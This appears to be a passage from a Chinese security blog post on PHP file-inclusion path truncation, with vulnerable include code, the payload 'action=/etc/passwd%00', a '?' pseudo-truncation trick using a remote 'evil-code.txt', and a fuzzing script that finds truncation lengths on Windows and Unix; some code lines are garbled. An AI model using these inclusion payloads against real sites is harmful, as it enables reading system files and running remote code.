test.txt 代码
结果截断失败,改下代码:
$webpath = dirname(__FILE__)."/";
$filepath = "test.txt";
for($i =1;$i<1000;$i++){
$filepath .= .;
}
include $filepath.".php"; //相对路径
?>
这次成功。
以上是windows下的方法,其实linux也可以:
include截断
include $_GET[action].".php";
?>
提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?
肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:
var5.php代码:
include $_GET[action].".php";
print strlen(realpath("./"))+strlen($_GET[action]);
///
ini_set(max_execution_time, 0);
$str=;
for($i=0;$i<50000;$i++)
{
$str=$str."/";
$resp=file_get_contents(http://127.0.0.1/var/var5.php?action=1.txt.$str);
//1.txt里的代码为print hi;
if (strpos($resp, hi) !== false){
print $i;
exit;
}
}
?>
经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET[action])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#最先发现])
推荐文章:
关于PHP文件包含一些漏洞分析
关于PHP文件包含一些漏洞分析。fopen 系统找不到指定路径文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处哦。